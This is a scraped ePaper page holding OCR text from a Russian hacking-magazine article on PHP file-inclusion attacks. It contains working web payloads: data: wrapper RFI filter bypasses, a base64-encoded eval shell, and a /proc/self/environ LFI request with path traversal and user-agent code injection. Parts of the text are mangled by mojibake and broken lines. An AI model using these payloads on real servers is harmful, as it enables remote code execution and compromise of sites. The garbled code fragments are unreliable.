27.11.2014 Views

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

взлом<br />

ЭТО И ЕСТЬ PHPINFO() ЧЕРЕЗ ПРОТОКОЛ DATA<br />

ВЫВОД /PROC/SELF/FD<br />

ОРИГИНАЛЬНОЕ ADVISORY PHP<br />

FILEPATH TRUNCATION<br />

МЫЛО, ОТПРАВЛЕННОЕ ТЕКУЩЕМУ ПОЛЬЗОВАТЕЛЮ HTTPD<br />

//ñòàíäàðòíûé ôàéë èíêëóäà äëÿ ëþáîé<br />

äèðåêòîðèè<br />

$dir .= '/pages/default.php';<br />

//ñîáñòâåííî, èíêëóä<br />

include($dir . '/pages/default.<br />

php');<br />

?><br />

Кажется, что в этой ситуации не прокатит никакой<br />

удаленный инклуд. Ведь, кроме того, что<br />

режутся стандартные "http://", "ftp://", под нож<br />

фильтра попадают еще и точка со слешем!<br />

А теперь посмотри внимательно на следующий<br />

эксплойт для нашей RFI и красивого обхода<br />

фильтра, мешающего добросовестному хакеру<br />

(как и при любом другом удаленном инклуде,<br />

директива PHP — allow_url_include, естественно,<br />

должна находиться в положении On):<br />

http://localhost/index.<br />

php?dir=data:,&cmd=phpinfo();<br />

Этот код вполне успешно покажет тебе вывод<br />

функции phpinfo()! Но что делать, когда<br />

фильтрация становится еще более жесткой и<br />

принимает примерно следующий вид?<br />

<br />

XÀÊÅÐ 07 /127/ 09<br />

Ты снова можешь подумать, что здесь невозможно<br />

выполнить произвольный php-код<br />

(даже по приведенному выше сценарию), так<br />

как фильтром режутся практически все символы,<br />

используемые в нашем evil-коде. Но не<br />

тут-то было. Уже полюбившийся тебе протокол<br />

«data» поддерживает такую полезную вещь,<br />

как base64 (кстати, если фильтруются и символы<br />

«+», «=», наверняка, ты сможешь подобрать<br />

base64-значение своего шелла без них).<br />

http://localhost/index.php?dir=dat<br />

a:;base64,PD9waHAgZXZhbCgkX1JFUVVF<br />

U1RbY21kXSk7ID8+&cmd=phpinfo();<br />

("+" çàìåíèòü íà url-êîäèðîâàííîå<br />

"%2b")<br />

И вновь на экране phpinfo()!<br />

Но нельзя останавливаться на одном лишь<br />

RFI. Приготовься к самому вкусному.<br />

УСЛУЖЛИВЫЙ<br />

/PROC/SELF/ENVIRON<br />

Представь, что на определенном сайте (http://<br />

site.com) присутствует следующий php-код:<br />

<br />

Затем вообрази, что возможности залить<br />

файл/картинку с шеллом у нас нет, пути к логам<br />

апача мы не нашли, а в /tmp не сохраняются<br />

данные сессий. Соседних сайтов также нет.<br />

Что делать?<br />

Неискушенный в LFI хакер опустил бы руки.<br />

Мы не из таких, ибо на помощь спешит хранилище<br />

переменных окружения /proc/self/<br />

environ! Итак, когда мы запрашиваем любую<br />

php-страничку на сервере, создается новый<br />

процесс. В *nix-системах каждый процесс<br />

имеет свою собственную запись в /proc, а /<br />

proc/self, в свою очередь, — это статический<br />

путь и символическая ссылка, содержащая<br />

полезную информацию для последних процессов.<br />

Если мы инжектнем наш evil-код в /proc/self/<br />

environ, то сможем запускать произвольные<br />

команды с помощью LFI :). Заманчиво? А<br />

теперь, собственно, вопрос: каким образом<br />

можно вставить свое значение с evil-кодом в /<br />

proc/self/environ?<br />

Очень просто! Тем же способом, каким ты<br />

инжектишь свой код в логи апача, можно проинжектить<br />

код и в /proc/self/environ.<br />

Для примера возьмем наш любимый и легко<br />

подменяемый юзерагент. По дефолту часть /<br />

proc/self/environ, показывающая useragent,<br />

выглядит примерно так:<br />

PATH=/sbin:/usr/sbin:/bin:/usr/<br />

bin:/usr/X11R6/bin:/usr/bin:/bin<br />

SERVER_ADMIN=admin@site.com<br />

...<br />

Mozilla/5.0 (Windows; U; Windows NT<br />

5.1; en-US; rv:1.9.0.4)<br />

Gecko/2008102920 Firefox/3.0.4<br />

HTTP_KEEP_ALIVE=150<br />

...<br />

А теперь меняем юзерагент на и обращаемся к нашему уязвимому<br />

скрипту следующим образом:<br />

curl "http://site.com/index.php?p<br />

age=../../../../../../../../proc/<br />

self/environ&cmd=phpinfo();" -H<br />

061

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!